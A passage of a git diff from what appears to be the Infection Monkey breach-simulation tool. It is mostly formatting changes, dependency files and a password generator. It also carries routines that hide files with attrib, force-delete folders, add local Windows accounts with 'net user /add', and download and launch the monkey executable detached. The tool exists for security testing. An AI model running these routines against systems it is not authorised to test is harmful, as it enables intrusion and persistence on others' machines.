-from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin
-from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit
-from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass
-from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin
-from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking
-
-
-class PluginTester(TestCase):
-
- def test_combo_file(self):
- TestPlugin.classes_to_load = [BadInit.__name__, ProperClass.__name__]
- to_init = TestPlugin.get_classes()
- self.assertEqual(len(to_init), 2)
- objects = TestPlugin.get_instances()
- self.assertEqual(len(objects), 1)
-
- def test_bad_init(self):
- TestPlugin.classes_to_load = [BadPluginInit.__name__]
- to_init = TestPlugin.get_classes()
- self.assertEqual(len(to_init), 1)
- objects = TestPlugin.get_instances()
- self.assertEqual(len(objects), 0)
-
- def test_bad_import(self):
- TestPlugin.classes_to_load = [SomeDummyPlugin.__name__]
- to_init = TestPlugin.get_classes()
- self.assertEqual(len(to_init), 0)
-
- def test_flow(self):
- TestPlugin.classes_to_load = [PluginWorking.__name__]
- to_init = TestPlugin.get_classes()
- self.assertEqual(len(to_init), 1)
- objects = TestPlugin.get_instances()
- self.assertEqual(len(objects), 1)
diff --git a/monkey/infection_monkey/utils/random_password_generator.py b/monkey/infection_monkey/utils/random_password_generator.py
new file mode 100644
index 000000000..273343c22
--- /dev/null
+++ b/monkey/infection_monkey/utils/random_password_generator.py
@@ -0,0 +1,8 @@
+import secrets
+
+SECRET_BYTE_LENGTH = 32
+
+
+def get_random_password(length: int = SECRET_BYTE_LENGTH) -> str:
+ password = secrets.token_urlsafe(length)
+ return password
diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py
index d5687fc2d..818c88a6e 100644
--- a/monkey/infection_monkey/utils/windows/hidden_files.py
+++ b/monkey/infection_monkey/utils/windows/hidden_files.py
@@ -9,55 +9,58 @@ HIDDEN_FILE_WINAPI = HOME_PATH + "\\monkey-hidden-file-winAPI"
def get_windows_commands_to_hide_files():
return [
- 'echo',
- 'Successfully created hidden file: {}'.format(HIDDEN_FILE), # create empty file
- '>',
+ "echo",
+ "Successfully created hidden file: {}".format(HIDDEN_FILE), # create empty file
+ ">",
HIDDEN_FILE,
- '&&',
- 'attrib', # change file attributes
- '+h', # hidden attribute
- '+s', # system attribute
+ "&&",
+ "attrib", # change file attributes
+ "+h", # hidden attribute
+ "+s", # system attribute
+ HIDDEN_FILE,
+ "&&",
+ "type",
HIDDEN_FILE,
- '&&',
- 'type',
- HIDDEN_FILE
]
def get_windows_commands_to_hide_folders():
return [
- 'mkdir',
+ "mkdir",
HIDDEN_FOLDER, # make directory
- '&&',
- 'attrib',
- '+h', # hidden attribute
- '+s', # system attribute
+ "&&",
+ "attrib",
+ "+h", # hidden attribute
+ "+s", # system attribute
HIDDEN_FOLDER, # change file attributes
- '&&',
- 'echo',
- 'Successfully created hidden folder: {}'.format(HIDDEN_FOLDER),
- '>',
- '{}\\{}'.format(HIDDEN_FOLDER, 'some-file'),
- '&&',
- 'type',
- '{}\\{}'.format(HIDDEN_FOLDER, 'some-file')
+ "&&",
+ "echo",
+ "Successfully created hidden folder: {}".format(HIDDEN_FOLDER),
+ ">",
+ "{}\\{}".format(HIDDEN_FOLDER, "some-file"),
+ "&&",
+ "type",
+ "{}\\{}".format(HIDDEN_FOLDER, "some-file"),
]
def get_winAPI_to_hide_files():
import win32file
+
try:
fileAccess = win32file.GENERIC_READ | win32file.GENERIC_WRITE # read-write access
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
- win32file.CreateFile(HIDDEN_FILE_WINAPI,
- fileAccess,
- 0, # sharing mode: 0 => can't be shared
- None, # security attributes
- fileCreation,
- fileFlags,
- 0) # template file
+ win32file.CreateFile(
+ HIDDEN_FILE_WINAPI,
+ fileAccess,
+ 0, # sharing mode: 0 => can't be shared
+ None, # security attributes
+ fileCreation,
+ fileFlags,
+ 0,
+ ) # template file
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
except Exception as err:
@@ -66,15 +69,15 @@ def get_winAPI_to_hide_files():
def get_windows_commands_to_delete():
return [
- 'powershell.exe',
- 'del', # delete file
- '-Force',
+ "powershell.exe",
+ "del", # delete file
+ "-Force",
HIDDEN_FILE,
- ',',
+ ",",
HIDDEN_FILE_WINAPI,
- ';',
- 'rmdir', # delete folder
- '-Force',
- '-Recurse',
- HIDDEN_FOLDER
+ ";",
+ "rmdir", # delete folder
+ "-Force",
+ "-Recurse",
+ HIDDEN_FOLDER,
]
diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py
index c16b1c190..6890dc170 100644
--- a/monkey/infection_monkey/utils/windows/users.py
+++ b/monkey/infection_monkey/utils/windows/users.py
@@ -4,38 +4,25 @@ import subprocess
from infection_monkey.utils.auto_new_user import AutoNewUser
from infection_monkey.utils.new_user_error import NewUserError
-ACTIVE_NO_NET_USER = '/ACTIVE:NO'
+ACTIVE_NO_NET_USER = "/ACTIVE:NO"
WAIT_TIMEOUT_IN_MILLISECONDS = 60 * 1000
logger = logging.getLogger(__name__)
def get_windows_commands_to_add_user(username, password, should_be_active=False):
- windows_cmds = [
- 'net',
- 'user',
- username,
- password,
- '/add']
+ windows_cmds = ["net", "user", username, password, "/add"]
if not should_be_active:
windows_cmds.append(ACTIVE_NO_NET_USER)
return windows_cmds
def get_windows_commands_to_delete_user(username):
- return [
- 'net',
- 'user',
- username,
- '/delete']
+ return ["net", "user", username, "/delete"]
def get_windows_commands_to_deactivate_user(username):
- return [
- 'net',
- 'user',
- username,
- ACTIVE_NO_NET_USER]
+ return ["net", "user", username, ACTIVE_NO_NET_USER]
class AutoNewWindowsUser(AutoNewUser):
@@ -52,7 +39,7 @@ class AutoNewWindowsUser(AutoNewUser):
windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds)))
- _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+ _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT)
def __enter__(self):
# Importing these only on windows, as they won't exist on linux.
@@ -60,13 +47,16 @@ class AutoNewWindowsUser(AutoNewUser):
import win32security
try:
- # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+ # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf
+ # -winbase-logonusera
self.logon_handle = win32security.LogonUser(
self.username,
".", # Use current domain.
self.password,
- win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell.
- win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers.
+ # Logon type - interactive (normal user), since we're using a shell.
+ win32con.LOGON32_LOGON_INTERACTIVE,
+ win32con.LOGON32_PROVIDER_DEFAULT,
+ ) # Which logon provider to use - whatever Windows offers.
except Exception as err:
raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
return self
@@ -86,22 +76,24 @@ class AutoNewWindowsUser(AutoNewUser):
# Open process as that user
# https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py
proc_info = _advapi32.CreateProcessWithLogonW(
- username=self.username,
- domain=".",
- password=self.password,
- command_line=command
+ username=self.username, domain=".", password=self.password, command_line=command
)
process_handle = proc_info.hProcess
thread_handle = proc_info.hThread
logger.debug(
- "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS))
+ "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS)
+ )
- # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f-408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject?forum=vcgeneral
- # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
- _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out.
+ # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f
+ # -408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject
+ # ?forum=vcgeneral
+ # Ignoring return code, as we'll use `GetExitCode` to determine the state of the
+ # process later.
+ _ = win32event.WaitForSingleObject(
+ # Waits until the specified object is signaled, or time-out.
process_handle, # Ping process handle
- WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds
+ WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds
)
exit_code = win32process.GetExitCodeProcess(process_handle)
@@ -116,10 +108,7 @@ class AutoNewWindowsUser(AutoNewUser):
return exit_code
- def get_logon_handle(self):
- return self.logon_handle
-
- def __exit__(self, exc_type, exc_val, exc_tb):
+ def __exit__(self, _exc_type, value, traceback):
# Logoff
self.logon_handle.Close()
@@ -131,9 +120,11 @@ class AutoNewWindowsUser(AutoNewUser):
try:
commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username)
logger.debug(
- "Trying to deactivate {} with commands {}".format(self.username, str(commands_to_deactivate_user)))
- _ = subprocess.check_output(
- commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True)
+ "Trying to deactivate {} with commands {}".format(
+ self.username, str(commands_to_deactivate_user)
+ )
+ )
+ _ = subprocess.check_output(commands_to_deactivate_user, stderr=subprocess.STDOUT)
except Exception as err:
raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err))
@@ -141,8 +132,10 @@ class AutoNewWindowsUser(AutoNewUser):
try:
commands_to_delete_user = get_windows_commands_to_delete_user(self.username)
logger.debug(
- "Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user)))
- _ = subprocess.check_output(
- commands_to_delete_user, stderr=subprocess.STDOUT, shell=True)
+ "Trying to delete {} with commands {}".format(
+ self.username, str(commands_to_delete_user)
+ )
+ )
+ _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT)
except Exception as err:
raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
index 8b9ec7f80..90eacac9c 100644
--- a/monkey/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -7,12 +7,12 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
-from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
+from infection_monkey.utils.commands import (
+ build_monkey_commandline_explicitly,
+ get_monkey_commandline_windows,
+)
from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
-__author__ = 'itay.mizeretz'
-
LOG = logging.getLogger(__name__)
if "win32" == sys.platform:
@@ -26,31 +26,43 @@ class WindowsUpgrader(object):
@staticmethod
def should_upgrade():
- return is_windows_os() and is_64bit_windows_os() \
- and not is_64bit_python()
+ return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
@staticmethod
def upgrade(opts):
try:
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
- with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
+ with open(
+ WormConfiguration.dropper_target_path_win_64, "wb"
+ ) as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError) as e:
LOG.error("Failed to download the Monkey to the target path: %s." % e)
return
- monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
+ monkey_options = build_monkey_commandline_explicitly(
+ opts.parent, opts.tunnel, opts.server, opts.depth
+ )
- monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
- 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
+ monkey_cmdline = get_monkey_commandline_windows(
+ WormConfiguration.dropper_target_path_win_64, monkey_options
+ )
- monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
- stdin=None, stdout=None, stderr=None,
- close_fds=True, creationflags=DETACHED_PROCESS)
+ monkey_process = subprocess.Popen(
+ monkey_cmdline,
+ stdin=None,
+ stdout=None,
+ stderr=None,
+ close_fds=True,
+ creationflags=DETACHED_PROCESS,
+ )
- LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
- monkey_process.pid, monkey_cmdline)
+ LOG.info(
+ "Executed 64bit monkey process (PID=%d) with command line: %s",
+ monkey_process.pid,
+ " ".join(monkey_cmdline),
+ )
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None:
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
index cd452066c..d1510c46f 100644
--- a/monkey/monkey_island.py
+++ b/monkey/monkey_island.py
@@ -1,21 +1,4 @@
-from gevent import monkey as gevent_monkey
-
-gevent_monkey.patch_all()
-
-from monkey_island.cc.main import main
-
-
-def parse_cli_args():
- import argparse
- parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com")
- parser.add_argument("-s", "--setup-only", action="store_true",
- help="Pass this flag to cause the Island to setup and exit without actually starting. "
- "This is useful for preparing Island to boot faster later-on, so for "
- "compiling/packaging Islands.")
- args = parser.parse_args()
- return args.setup_only
-
+from monkey_island.main import main
if "__main__" == __name__:
- is_setup_only = parse_cli_args()
- main(is_setup_only)
+ main()
diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile
new file mode 100644
index 000000000..418849eb3
--- /dev/null
+++ b/monkey/monkey_island/Pipfile
@@ -0,0 +1,49 @@
+[[source]]
+url = "https://pypi.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[packages]
+pyinstaller = "==3.6"
+awscli = "==1.18.131"
+bcrypt = "==3.2.0"
+boto3 = "==1.14.54"
+botocore = "==1.17.54"
+cffi = ">=1.8,!=1.11.3"
+dpath = ">=2.0"
+gevent = ">=20.9.0"
+ipaddress = ">=1.0.23"
+jsonschema = "==3.2.0"
+mongoengine = "==0.20"
+netifaces = ">=0.10.9"
+pycryptodome = "==3.9.8"
+python-dateutil = "<3.0.0,>=2.1"
+requests = ">=2.24"
+ring = ">=0.7.3"
+stix2 = ">=2.0.2"
+six = ">=1.13.0"
+tqdm = ">=4.47"
+Flask-JWT-Extended = "==3.24.1"
+Flask-PyMongo = ">=2.3.0"
+Flask-RESTful = ">=0.3.8"
+Flask = ">=1.1"
+Werkzeug = ">=1.0.1"
+ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"}
+PyJWT = "==1.7"
+pyaescrypt = "*"
+
+[dev-packages]
+virtualenv = ">=20.0.26"
+mongomock = "==3.23.0"
+pytest = ">=5.4"
+requests-mock = "==1.8.0"
+black = "==20.8b1"
+dlint = "==0.11.0"
+flake8 = "==3.9.0"
+pytest-cov = "*"
+isort = "==5.8.0"
+coverage = "*"
+vulture = "==2.3"
+
+[requires]
+python_version = "3.7"
diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock
new file mode 100644
index 000000000..e62fd0c56
--- /dev/null
+++ b/monkey/monkey_island/Pipfile.lock
@@ -0,0 +1,1512 @@
+{
+ "_meta": {
+ "hash": {
+ "sha256": "7157e13d928bde23582b6289405713962f3334bd32ac80b22202b605ed4dcefb"
+ },
+ "pipfile-spec": 6,
+ "requires": {
+ "python_version": "3.7"
+ },
+ "sources": [
+ {
+ "name": "pypi",
+ "url": "https://pypi.org/simple",
+ "verify_ssl": true
+ }
+ ]
+ },
+ "default": {
+ "altgraph": {
+ "hashes": [
+ "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa",
+ "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe"
+ ],
+ "version": "==0.17"
+ },
+ "aniso8601": {
+ "hashes": [
+ "sha256:1d2b7ef82963909e93c4f24ce48d4de9e66009a21bf1c1e1c85bdd0812fe412f",
+ "sha256:72e3117667eedf66951bb2d93f4296a56b94b078a8a95905a052611fb3f1b973"
+ ],
+ "version": "==9.0.1"
+ },
+ "antlr4-python3-runtime": {
+ "hashes": [
+ "sha256:15793f5d0512a372b4e7d2284058ad32ce7dd27126b105fb0b2245130445db33"
+ ],
+ "markers": "python_version >= '3'",
+ "version": "==4.8"
+ },
+ "asyncio-throttle": {
+ "hashes": [
+ "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe"
+ ],
+ "markers": "python_version >= '3.5'",
+ "version": "==0.1.1"
+ },
+ "attrs": {
+ "hashes": [
+ "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1",
+ "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==21.2.0"
+ },
+ "awscli": {
+ "hashes": [
+ "sha256:5dfdae33fc7c7b24c4beeaf8db7ca5ddec903d8b249578d1d0d4bd86c128d53d",
+ "sha256:a74b11681990a8572ba221af39aed887e6c84d4233dca3dcea134f28fd243e0b"
+ ],
+ "index": "pypi",
+ "version": "==1.18.131"
+ },
+ "bcrypt": {
+ "hashes": [
+ "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29",
+ "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7",
+ "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34",
+ "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55",
+ "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6",
+ "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1",
+ "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d"
+ ],
+ "index": "pypi",
+ "version": "==3.2.0"
+ },
+ "boto3": {
+ "hashes": [
+ "sha256:4196b418598851ffd10cf9d1606694673cbfeca4ddf8b25d4e50addbd2fc60bf",
+ "sha256:69ad8f2184979e223e12ee3071674fdf910983cf9f4d6f34f7ec407b089064b5"
+ ],
+ "index": "pypi",
+ "version": "==1.14.54"
+ },
+ "botocore": {
+ "hashes": [
+ "sha256:6fe05837646447d61acdaf1e3401b92cd9309f00b19c577a50d0ade7735a3403",
+ "sha256:9e493a21e6a8d45c631eb2952ae8e1d0a31b9984546d4268ea10c0c33e2435ce"
+ ],
+ "index": "pypi",
+ "version": "==1.17.54"
+ },
+ "certifi": {
+ "hashes": [
+ "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee",
+ "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8"
+ ],
+ "version": "==2021.5.30"
+ },
+ "cffi": {
+ "hashes": [
+ "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d",
+ "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771",
+ "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872",
+ "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c",
+ "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc",
+ "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762",
+ "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202",
+ "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5",
+ "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548",
+ "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f",
+ "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20",
+ "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c",
+ "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e",
+ "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56",
+ "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224",
+ "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a",
+ "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2",
+ "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a",
+ "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819",
+ "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346",
+ "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b",
+ "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e",
+ "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb",
+ "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0",
+ "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156",
+ "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd",
+ "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87",
+ "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc",
+ "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195",
+ "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33",
+ "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f",
+ "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d",
+ "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd",
+ "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728",
+ "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7",
+ "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99",
+ "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf",
+ "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e",
+ "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c",
+ "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69"
+ ],
+ "index": "pypi",
+ "version": "==1.14.6"
+ },
+ "chardet": {
+ "hashes": [
+ "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa",
+ "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==4.0.0"
+ },
+ "cheroot": {
+ "hashes": [
+ "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c",
+ "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==8.5.2"
+ },
+ "cherrypy": {
+ "hashes": [
+ "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038",
+ "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495"
+ ],
+ "markers": "python_version >= '3.5'",
+ "version": "==18.6.1"
+ },
+ "cherrypy-cors": {
+ "hashes": [
+ "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5",
+ "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513"
+ ],
+ "markers": "python_version >= '2.7'",
+ "version": "==1.6"
+ },
+ "click": {
+ "hashes": [
+ "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a",
+ "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==8.0.1"
+ },
+ "colorama": {
+ "hashes": [
+ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff",
+ "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"
+ ],
+ "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'",
+ "version": "==0.4.3"
+ },
+ "coloredlogs": {
+ "hashes": [
+ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8",
+ "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36"
+ ],
+ "version": "==10.0"
+ },
+ "cryptography": {
+ "hashes": [
+ "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d",
+ "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959",
+ "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6",
+ "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873",
+ "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2",
+ "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713",
+ "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1",
+ "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177",
+ "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250",
+ "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca",
+ "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d",
+ "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==3.4.7"
+ },
+ "docutils": {
+ "hashes": [
+ "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0",
+ "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827",
+ "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99"
+ ],
+ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==0.15.2"
+ },
+ "dpath": {
+ "hashes": [
+ "sha256:bea06b5f4ff620a28dfc9848cf4d6b2bfeed34238edeb8ebe815c433b54eb1fa"
+ ],
+ "index": "pypi",
+ "version": "==2.0.1"
+ },
+ "flask": {
+ "hashes": [
+ "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55",
+ "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9"
+ ],
+ "index": "pypi",
+ "version": "==2.0.1"
+ },
+ "flask-jwt-extended": {
+ "hashes": [
+ "sha256:0aa8ee6fa7eb3be9314e39dd199ac8e19389a95371f9d54e155c7aa635e319dd"
+ ],
+ "index": "pypi",
+ "version": "==3.24.1"
+ },
+ "flask-pymongo": {
+ "hashes": [
+ "sha256:620eb02dc8808a5fcb90f26cab6cba9d6bf497b15032ae3ca99df80366e33314",
+ "sha256:8a9577a2c6d00b49f21cb5a5a8d72561730364a2d745551a85349ab02f86fc73"
+ ],
+ "index": "pypi",
+ "version": "==2.3.0"
+ },
+ "flask-restful": {
+ "hashes": [
+ "sha256:4970c49b6488e46c520b325f54833374dc2b98e211f1b272bd4b0c516232afe2",
+ "sha256:ccec650b835d48192138c85329ae03735e6ced58e9b2d9c2146d6c84c06fa53e"
+ ],
+ "index": "pypi",
+ "version": "==0.3.9"
+ },
+ "future": {
+ "hashes": [
+ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"
+ ],
+ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==0.18.2"
+ },
+ "gevent": {
+ "hashes": [
+ "sha256:16574e4aa902ebc7bad564e25aa9740a82620fdeb61e0bbf5cbc32e84c13cb6a",
+ "sha256:188c3c6da67e17ffa28f960fc80f8b7e4ba0f4efdc7519822c9d3a1784ca78ea",
+ "sha256:1e5af63e452cc1758924528a2ba6d3e472f5338e1534b7233cd01d3429fc1082",
+ "sha256:242e32cc011ad7127525ca9181aef3379ce4ad9c733aefe311ecf90248ad9a6f",
+ "sha256:2a9ae0a0fd956cbbc9c326b8f290dcad2b58acfb2e2732855fe1155fb110a04d",
